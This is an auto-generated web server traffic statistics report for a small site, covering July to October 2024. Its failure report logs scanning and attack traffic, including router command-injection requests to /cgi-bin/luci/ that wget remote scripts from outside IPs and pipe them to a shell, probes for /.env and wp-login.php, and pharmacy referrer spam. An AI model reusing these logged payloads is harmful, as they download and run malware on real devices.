Program started at Sun-06-Oct-2024 00:37.
Analysed requests from Mon-08-Jul-2024 00:00 to Sun-06-Oct-2024 00:01 (90.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 06-Oct-2024 00:37.
Successful requests: 292,417 (38,804)
Average successful requests per day: 3,249 (5,543)
Successful requests for pages: 258,465 (36,436)
Average successful requests for pages per day: 2,871 (5,205)
Failed requests: 172,361 (9,078)
Redirected requests: 1,958,518 (96,297)
Distinct files requested: 683 (255)
Distinct hosts served: 14,331 (1,878)
Corrupt logfile lines: 3,374
Unwanted logfile entries: 16,391,725
Data transferred: 5.94 gigabytes (845.40 megabytes)
Average data transferred per day: 67.62 megabytes (120.77 megabytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 2,500 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Jul 2024 | 68552 | 60817 | |
Aug 2024 | 90439 | 79305 | |
Sep 2024 | 106011 | 92693 | |
Oct 2024 | 27415 | 25650 |
Busiest month: Sep 2024 (92,693 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 1,000 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
7/Jul/24 | 14552 | 12350 | |
14/Jul/24 | 18946 | 16911 | |
21/Jul/24 | 25316 | 22791 | |
28/Jul/24 | 16058 | 13914 | |
4/Aug/24 | 20241 | 17405 | |
11/Aug/24 | 19027 | 16875 | |
18/Aug/24 | 22175 | 19657 | |
25/Aug/24 | 22676 | 20219 | |
1/Sep/24 | 25511 | 23136 | |
8/Sep/24 | 18609 | 15707 | |
15/Sep/24 | 21323 | 17460 | |
22/Sep/24 | 28995 | 25421 | |
29/Sep/24 | 38982 | 36613 | |
6/Oct/24 | 6 | 6 |
Busiest week: week beginning 29/Sep/24 (36,613 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 200 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
26/Aug/24 | 2141 | 1885 | |
27/Aug/24 | 2564 | 2277 | |
28/Aug/24 | 3266 | 2719 | |
29/Aug/24 | 3421 | 3235 | |
30/Aug/24 | 3590 | 3308 | |
31/Aug/24 | 3788 | 3184 | |
1/Sep/24 | 4347 | 3916 | |
2/Sep/24 | 4287 | 3905 | |
3/Sep/24 | 3236 | 3056 | |
4/Sep/24 | 3547 | 3402 | |
5/Sep/24 | 4075 | 3623 | |
6/Sep/24 | 3138 | 2644 | |
7/Sep/24 | 2881 | 2590 | |
8/Sep/24 | 3232 | 2737 | |
9/Sep/24 | 1628 | 1427 | |
10/Sep/24 | 1630 | 1223 | |
11/Sep/24 | 2475 | 2089 | |
12/Sep/24 | 3027 | 2493 | |
13/Sep/24 | 4034 | 3556 | |
14/Sep/24 | 2583 | 2182 | |
15/Sep/24 | 3540 | 2909 | |
16/Sep/24 | 3163 | 2578 | |
17/Sep/24 | 2578 | 1825 | |
18/Sep/24 | 2724 | 2220 | |
19/Sep/24 | 3409 | 2889 | |
20/Sep/24 | 3105 | 2649 | |
21/Sep/24 | 2804 | 2390 | |
22/Sep/24 | 2863 | 2482 | |
23/Sep/24 | 2124 | 1670 | |
24/Sep/24 | 2997 | 2762 | |
25/Sep/24 | 6680 | 5336 | |
26/Sep/24 | 4206 | 3734 | |
27/Sep/24 | 4227 | 3828 | |
28/Sep/24 | 5898 | 5609 | |
29/Sep/24 | 6668 | 6316 | |
30/Sep/24 | 4905 | 4653 | |
1/Oct/24 | 4288 | 4143 | |
2/Oct/24 | 5296 | 4975 | |
3/Oct/24 | 4430 | 4113 | |
4/Oct/24 | 5050 | 4759 | |
5/Oct/24 | 8345 | 7654 | |
6/Oct/24 | 6 | 6 |
Busiest day: 5/Oct/24 (7,654 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 1,000 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 41463 | 36632 | |
Mon | 36452 | 31974 | |
Tue | 40142 | 35424 | |
Wed | 43223 | 38058 | |
Thu | 43795 | 38682 | |
Fri | 43645 | 38783 | |
Sat | 43697 | 38912 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 300 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 11023 | 9708 | |
1 | 11044 | 9412 | |
2 | 11440 | 9732 | |
3 | 11661 | 10092 | |
4 | 11932 | 10419 | |
5 | 12123 | 10404 | |
6 | 12267 | 10718 | |
7 | 12261 | 11058 | |
8 | 12027 | 11101 | |
9 | 11589 | 10692 | |
10 | 12702 | 11233 | |
11 | 14379 | 11875 | |
12 | 13559 | 12117 | |
13 | 13407 | 11966 | |
14 | 12901 | 11582 | |
15 | 12838 | 11339 | |
16 | 12258 | 11123 | |
17 | 12247 | 10973 | |
18 | 12034 | 10626 | |
19 | 11618 | 10489 | |
20 | 12349 | 11194 | |
21 | 11542 | 10312 | |
22 | 11418 | 10127 | |
23 | 11798 | 10173 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
208739 | 76.24% | [unresolved numerical addresses] |
51488 | 14.73% | .com (Commercial) |
11886 | 4.12% | .net (Networks) |
3353 | 1.13% | [unknown domain] |
9380 | 1.06% | .ru (Russia) |
2339 | 0.90% | .de (Germany) |
1187 | 0.44% | .nl (Netherlands) |
809 | 0.29% | .org (Non Profit Making Organisations) |
326 | 0.12% | .name (Individuals) |
318 | 0.12% | .pl (Poland) |
275 | 0.10% | .arpa (Arpanet) |
231 | 0.09% | .br (Brazil) |
221 | 0.08% | .jp (Japan) |
192 | 0.07% | .tr (Turkey) |
163 | 0.06% | .se (Sweden) |
147 | 0.06% | .uk (United Kingdom) |
99 | 0.04% | .id (Indonesia) |
101 | 0.04% | .cn (China) |
77 | 0.03% | .us (United States) |
120 | 0.03% | .cz (Czech Republic) |
89 | 0.02% | .in (India) |
59 | 0.02% | .ph (Philippines) |
48 | 0.02% | .th (Thailand) |
61 | 0.02% | .io (British Indian Ocean Territory) |
119 | 0.02% | .gr (Greece) |
39 | 0.01% | .vn (Vietnam) |
85 | 0.01% | .ca (Canada) |
36 | 0.01% | [domain not given] |
35 | 0.01% | .info (Informational) |
26 | 0.01% | .co (Colombia) |
63 | 0.01% | .edu (USA Higher Education) |
24 | 0.01% | .it (Italy) |
26 | 0.01% | .ch (Switzerland) |
33 | 0.01% | .hk (Hong Kong) |
15 | 0.01% | .mx (Mexico) |
24 | 0.01% | .no (Norway) |
14 | 0.01% | .ua (Ukraine) |
13 | .by (Belarus) | |
13 | .at (Austria) | |
12 | .kh (Cambodia) | |
11 | .md (Moldova) | |
11 | .sh (Saint Helena) | |
8 | .ge (Georgia) | |
7 | .au (Australia) | |
6 | .fr (France) | |
6 | .bg (Bulgaria) | |
6 | .ar (Argentina) | |
6 | .sg (Singapore) | |
6 | .tw (Taiwan) | |
5 | .dk (Denmark) | |
5 | .ke (Kenya) | |
4 | .es (Spain) | |
4 | .za (South Africa) | |
3 | .sk (Slovakia) | |
3 | .pw (Palau) | |
3 | .pk (Pakistan) | |
3 | .sc (Seychelles) | |
3 | .ro (Romania) | |
3 | .ir (Iran) | |
2 | .ec (Ecuador) | |
2 | .ws (Samoa) | |
2 | .do (Dominican Republic) | |
2 | .cc (Cocos (Keeling) Islands) | |
2 | .ee (Estonia) | |
1 | .biz (Businesses) | |
1 | .my (Malaysia) | |
1 | .ae (United Arab Emirates) | |
1 | .jo (Jordan) | |
1 | .lk (Sri Lanka) | |
1 | .ie (Ireland) | |
1 | .mk (Macedonia (Former Yugoslav Republic)) | |
1 | .cy (Cyprus) | |
1 | .kz (Kazakhstan) | |
1 | .hu (Hungary) | |
1 | .ly (Libya) | |
1 | .ba (Bosnia-Herzegovina) | |
1 | .py (Paraguay) | |
1 | .pm (Saint Pierre and Miquelon) | |
1 | .ai (Anguilla) | |
2 | .fi (Finland) | |
1 | .je (Jersey) | |
1 | .nu (Niue) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
31471 | 11.80% | 196.240 |
22173 | 8.30% | 23 |
19952 | 7.48% | 102 |
15869 | 5.94% | 191.101 |
12453 | 4.67% | 223.29 |
9126 | 3.42% | 165.231 |
8191 | 3.06% | 43 |
7759 | 2.90% | 45 |
6721 | 2.51% | colocrossing.com |
6113 | 0.43% | amazonaws.com |
5998 | 0.35% | hosted-by-vdsina.ru |
5814 | 2.18% | keznews.com |
5203 | 0.61% | ahrefs.com |
5123 | 1.91% | 196.245 |
5039 | 1.88% | 191.96 |
4832 | 1.81% | 154.16 |
3999 | 1.09% | googlebot.com |
3582 | 1.33% | 5 |
3538 | 1.33% | nationalgeographer.com |
3476 | 1.30% | 196.242 |
105985 | 35.68% | [not listed: 1,784 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
1292 | 0.48% | 5.157.27.185 |
1376 | 0.52% | 23.81.231.90 |
1173 | 0.44% | 23.108.4.53 |
1501 | 0.56% | 23.108.4.166 |
1377 | 0.51% | 23.108.44.252 |
1390 | 0.52% | 23.108.254.124 |
1030 | 0.39% | 23.231.39.14 |
1159 | 0.43% | 45.95.39.182 |
1826 | 0.68% | 102.165.52.185 |
1050 | 0.39% | 102.165.53.219 |
1009 | 0.38% | 102.165.54.126 |
1140 | 0.43% | 102.165.54.137 |
1187 | 0.45% | 102.165.54.219 |
1021 | 0.38% | 119.28.152.45 |
1082 | 0.41% | 154.16.69.40 |
1229 | 0.46% | 154.16.69.136 |
1065 | 0.40% | 165.231.24.123 |
1313 | 0.49% | 165.231.105.93 |
1490 | 0.56% | 172.255.82.161 |
1531 | 0.57% | 181.215.16.16 |
1168 | 0.44% | 181.215.16.48 |
1465 | 0.55% | 185.158.106.46 |
1014 | 0.38% | 191.96.252.77 |
1346 | 0.50% | 191.101.109.91 |
1847 | 0.69% | 191.101.110.231 |
3062 | 1.15% | 196.240.105.165 |
1162 | 0.44% | 196.240.105.172 |
1258 | 0.47% | 196.240.105.175 |
1019 | 0.38% | 196.240.105.229 |
1055 | 0.40% | 196.240.143.28 |
1472 | 0.55% | 196.240.143.39 |
1058 | 0.40% | 196.240.143.42 |
1446 | 0.54% | 196.240.143.180 |
1072 | 0.40% | 196.240.254.121 |
1249 | 0.47% | 196.242.70.129 |
1524 | 0.57% | 196.245.149.243 |
1542 | 0.58% | 196.245.250.166 |
1218 | 0.46% | 223.29.253.157 |
1051 | 0.39% | 223.29.253.223 |
1211 | 0.45% | 223.29.254.26 |
1163 | 0.44% | 223.29.254.190 |
1427 | 0.53% | vpn0097.alternativeflip.com |
1148 | 0.43% | 192-3-240-177-host.colocrossing.com |
5814 | 2.18% | visit.keznews.com |
3460 | 1.30% | gaenor.griffin.nationalgeographer.com |
1332 | 0.50% | mail.servisgroup.com |
1068 | 0.40% | 137-67-253-167.static.solidrdns.com |
1020 | 0.38% | famosa.ultimatelypartner.com |
2495 | 0.94% | 48-81-206-104.staticrdns.eonix.net |
1747 | 0.66% | m22.therabox.net |
219263 | 72.58% | [not listed: 14,281 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists which queries people used in search engines to find the site.
Listing queries, sorted by the number of requests.
reqs | search term |
---|---|
1 | https://ss1.coressl.jp/donsbosspage.com |
1 | https://klialimochauffeurservices.com |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists which words people used in search engines to find the site.
Listing query words, sorted by the number of requests.
reqs | search term |
---|---|
1 | https://klialimochauffeurservices.com |
1 | https://ss1.coressl.jp/donsbosspage.com |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the vendors of visitors' browsers.
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
no. | reqs | pages | browser |
---|---|---|---|
1 | 196092 | 177012 | Chrome |
168026 | 166971 | Chrome/114 | |
2321 | 2311 | Chrome/118 | |
1125 | 1092 | Chrome/103 | |
5360 | 1050 | Chrome/124 | |
763 | 761 | Chrome/90 | |
657 | 657 | Chrome/62 | |
714 | 314 | Chrome/120 | |
976 | 231 | Chrome/128 | |
245 | 231 | Chrome/75 | |
1183 | 153 | Chrome/127 | |
2 | 62539 | 61868 | Firefox |
61539 | 61113 | Firefox/114 | |
223 | 201 | Firefox/3 | |
79 | 79 | Firefox/x | |
41 | 41 | Firefox/2 | |
35 | 34 | Firefox/115 | |
27 | 27 | Firefox/102 | |
24 | 24 | Firefox/49 | |
22 | 22 | Firefox/5 | |
21 | 20 | Firefox/73 | |
16 | 15 | Firefox/48 | |
3 | 10027 | 7757 | Safari |
7550 | 6995 | Safari/605 | |
945 | 499 | Safari/604 | |
121 | 120 | Safari/534 | |
1196 | 61 | Safari/537 | |
28 | 28 | Safari/601 | |
151 | 19 | Safari/600 | |
4 | 4 | Safari/602 | |
4 | 4 | Safari/525 | |
4 | 4 | Safari/533 | |
3 | 3 | Safari/603 | |
4 | 10747 | 2479 | Netscape (compatible) |
5 | 1626 | 1562 | MSIE |
122 | 115 | MSIE/9 | |
34 | 31 | MSIE/6 | |
19 | 12 | MSIE/10 | |
11 | 4 | MSIE/7 | |
38 | 2 | MSIE/8 | |
2 | 2 | MSIE/5 | |
5 | 1 | MSIE/11 | |
6 | 1357 | 1357 | Apache-HttpClient |
1357 | 1357 | Apache-HttpClient/4 | |
7 | 1104 | 1104 | Sogou web spider |
1104 | 1104 | Sogou web spider/4 | |
8 | 1014 | 327 | Mozilla |
4 | 4 | Mozilla/1 | |
9 | 261 | 261 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
261 | 261 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
10 | 265 | 252 | python-requests |
265 | 252 | python-requests/2 | |
11 | 239 | 239 | MagpieRSS |
239 | 239 | MagpieRSS/0 | |
12 | 135 | 135 | ivre-masscan |
135 | 135 | ivre-masscan/1 | |
13 | 118 | 116 | curl |
118 | 116 | curl/7 | |
14 | 110 | 109 | Python |
110 | 109 | Python/3 | |
15 | 71 | 71 | lwp-trivial |
71 | 71 | lwp-trivial/1 | |
16 | 50 | 50 | Hello World |
3 | 3 | Hello World/1 | |
17 | 49 | 49 | Go-http-client |
49 | 49 | Go-http-client/1 | |
18 | 40 | 40 | Magellan |
19 | 83 | 35 | Baiduspider |
41 | 35 | Baiduspider/2 | |
20 | 33 | 32 | Dalvik |
33 | 32 | Dalvik/2 | |
3282 | 462 | [not listed: 114 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the operating systems used by visitors.
Listing operating systems, sorted by the number of requests for pages.
no. | reqs | pages | OS |
---|---|---|---|
1 | 122270 | 113123 | Windows |
118611 | 109872 | Windows NT | |
1974 | 1895 | Unknown Windows | |
1243 | 1061 | Windows 7 | |
261 | 209 | Windows XP | |
106 | 62 | Windows 8 | |
24 | 12 | Windows Vista | |
18 | 4 | Windows Server 2003 | |
5 | 4 | Windows 98 | |
1 | 1 | Windows CE | |
1 | 1 | Windows 95 | |
25 | 1 | Windows 2000 | |
1 | 1 | Windows ME | |
2 | 95928 | 89800 | Unix |
95904 | 89778 | Linux | |
11 | 9 | Other Unix | |
6 | 6 | OpenBSD | |
3 | 3 | NetBSD | |
2 | 2 | SunOS | |
2 | 2 | FreeBSD | |
3 | 47806 | 45269 | Macintosh |
4 | 10747 | 5507 | OS unknown |
5 | 12481 | 1608 | Known robots |
6 | 6 | 6 | Symbian OS |
7 | 4 | 4 | OS/2 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
47100 | /thanks.php |
42323 | /robots.txt |
4164 | /cgi-don/https |
3278 | /strategie-biznesowe/episodes/Strategia-Biznesowa-dla-Nowych-Wacicieli-Firm-e2ldia9 |
3156 | /wp-login.php |
2905 | /wp-login.php?action=register |
2679 | /cgi-don/referrerlog.pl |
684 | /cgi-don/referrerlog.pl?http://gethuge.net/how-to-increase-your-actions-per-day-apd/ |
497 | /cgi-don/referrerlog.pl?http://archaeopediana.com/user:hyman06z414196 |
176 | /cgi-don/referrerlog.pl?https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https |
112 | /cgi-don/referrerlog.pl?http://seofxs.com/seo-training-courses-in-dhaka/ |
66 | /cgi-don/referrerlog.pl?http://seoranko.de |
60 | /cgi-don/referrerlog.pl?https://doxycyline.pl.tl |
59 | /cgi-don/referrerlog.pl?https://loanquotes.page.tl |
56 | /cgi-don/referrerlog.pl?http://stapkup.revolublog.com |
44 | /cgi-don/referrerlog.pl?http://fenta.eklablog.com |
42 | /cgi-don/referrerlog.pl?https://amoxil.page.tl |
37 | /cgi-don/referrerlog.pl?http://elcivismo.com.ar/us/order-klonopin-prescr |
35 | /cgi-don/referrerlog.pl?http://nfl.eklablog.com |
32 | /cgi-don/referrerlog.pl?http://zevaniko.eklablog.com |
32 | /cgi-don/referrerlog.pl?http://blumm.revolublog.com |
31 | /cgi-don/referrerlog.pl?https://stromectol-16.webself.net/ |
31 | /cgi-don/referrerlog.pl?http://mazaolot.eklablog.com |
30 | /cgi-don/referrerlog.pl?http://miwulazi.eklablog.com |
28 | /cgi-don/referrerlog.pl?https://compraraccutane.populr.me/ |
27 | /cgi-don/referrerlog.pl?https://plaquenil-89.webself.net/ |
27 | /cgi-don/referrerlog.pl?http://night-lady.co.il/girls/%D7%A0%D7%A2%D7%A8%D7%95%D7%AA-%D7%9C%D7%99%D7%95%D7%95%D7%99/%D7%A9%D7%99%D7%A8%D7%95%D7%AA%D7%99-%D7%9C%D7%99%D7%95%D7%95%D7%99/ |
26 | /cgi-don/referrerlog.pl?http://javecas580.eklablog.com |
25 | /cgi-don/referrerlog.pl?http://teustups.revolublog.com |
21 | /cgi-don/referrerlog.pl?https://satunbali.blogspot.com |
20 | /cgi-don/referrerlog.pl?https://mavog.shop |
20 | /cgi-don/referrerlog.pl?http://batmanapollo.ru/%D0%BF%D1%80%D0%BE%D1%84%D0%B5%D1%81%D1%81%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9-%D0%BF%D0%BE%D0%B4%D0%B1%D0%BE%D1%80/ |
19 | /cgi-don/referrerlog.pl?https://sumerdent.com/ |
19 | /cgi-don/referrerlog.pl?http://kartuzi.eklablog.com |
18 | /cgi-don/referrerlog.pl?https://viagri.fr.gd |
18 | /cgi-don/referrerlog.pl?http://buy-backlinks.rozblog.com/ |
17 | /cgi-don/referrerlog.pl?https://acquistare-ceclor.de.tl |
16 | /cgi-don/referrerlog.pl?https://essayservices.tr.gg |
16 | /cgi-don/referrerlog.pl?https://essaysmaker.es.tl |
15 | /cgi-don/referrerlog.pl?http://walterlay.eklablog.com |
15 | /cgi-don/referrerlog.pl?https://comprar-capoten.es.tl |
15 | /cgi-don/referrerlog.pl?https://bacterialinfectionofthelungs.blogspot.com |
14 | /cgi-don/referrerlog.pl?https://viagro.it.gg |
11 | /cgi-don/referrerlog.pl?http://gumpuino.eklablog.com |
11 | /cgi-don/referrerlog.pl?https://articledirectoryproject.com/members/balicarrental/ |
10 | /cgi-don/referrerlog.pl?http://seoranko.de= |
2429 | /favicon.ico |
2025 | /new |
1990 | /cgi-don/send_postcard.pl |
1756 | /cgi-don/https3A2F2Ftoo-tmwg.xyz/ |
1442 | /account/settings/ |
1406 | /noflash.html |
907 | /cgi-don/referrerLog.plhttp3A2F2Fvygroup.ru/ssylka-na-kraken-v-tor-brauzere.html |
812 | /cgi-bin/luci/ |
78 | /cgi-bin/luci/?form=country&operation=write&country=id>`wget+http://185.157.247.125/e/t+-O-+|sh%3B` |
76 | /cgi-bin/luci/?form=country&operation=write&country=id>`for+pid+in+/proc/[0-9]*/%3B+do+pid%3D${pid%25/}%3B+pid%3D${pid##*/}%3B+exe_path%3D$(ls+-l+/proc/$pid/exe+2>/dev/null+|+awk+'{print+$NF}')%3B+if+[[+$exe_path+%3D%3D+*/+]]%3B+then+kill+-9+$pid%3B+fi%3B+done%3B` |
41 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.18.237:88/t|sh%3B`) |
25 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.18.103/t|sh%3B`) |
24 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.99/t|sh%3B`) |
24 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.18.196/t|sh%3B`) |
24 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`cd+/tmp%3B+rm+-rf+r%3B+wget+http://94.156.66.26/r%3B+chmod+777+r%3B+./r+tplink%3B+rm+-rf+r`) |
22 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
19 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.171:88/t|sh%3B`) |
19 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`cd+/tmp%3B+rm+-rf+r%3B+wget+http://74.50.81.158/r%3B+chmod+777+r%3B+./r+tplink%3B+rm+-rf+r`) |
19 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`cd+/tmp%3B+rm+-rf+r%3B+wget+http://45.66.231.213/r%3B+chmod+777+r%3B+./r+tplink%3B+rm+-rf+r`) |
16 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.18.196:88/t|sh%3B`) |
15 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`cd+/tmp%3B+rm+-rf+wget.sh%3B+wget+http://87.121.112.42/wget.sh%3B+chmod+777+wget.sh%3B+./wget.sh+tplink%3B+rm+-rf+wget.sh`) |
15 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`for+proc_dir+in+/proc/[0-9]*%3B+do+pid%3D${proc_dir##*/}%3B+buffer%3D$(cat+"/proc/$pid/maps")%3B+if+[+"${#buffer}"+-gt+1+]%3B+then+if+[+"${buffer#*"/lib/"}"+%3D+"$buffer"+]+%26%26+[+"${buffer#*"telnetdbot"}"+%3D+"$buffer"+]%3B+then+kill+-9+"$pid"%3B+fi%3B+fi%3B+done`) |
15 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.10:88/t|sh%3B`) |
14 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`cd+/tmp%3B+rm+-rf+r%3B+wget+http://45.66.231.148/r%3B+chmod+777+r%3B+./r+tplink%3B+rm+-rf+r`) |
12 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.217:88/t|sh%3B`) |
12 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.20.232/t|sh%3B`) |
808 | /cgi-don/referrerLog.pl |
88 | /cgi-don/referrerLog.pl? https://cutt.ly/Meffo13J |
27 | /cgi-don/referrerLog.pl?/visaform.org/kenya-visa-application-online/congo |
783 | /.env |
726 | /x16/x03/x01 |
704 | /products/foldable-treadmill-with-incline-bluetooth-black |
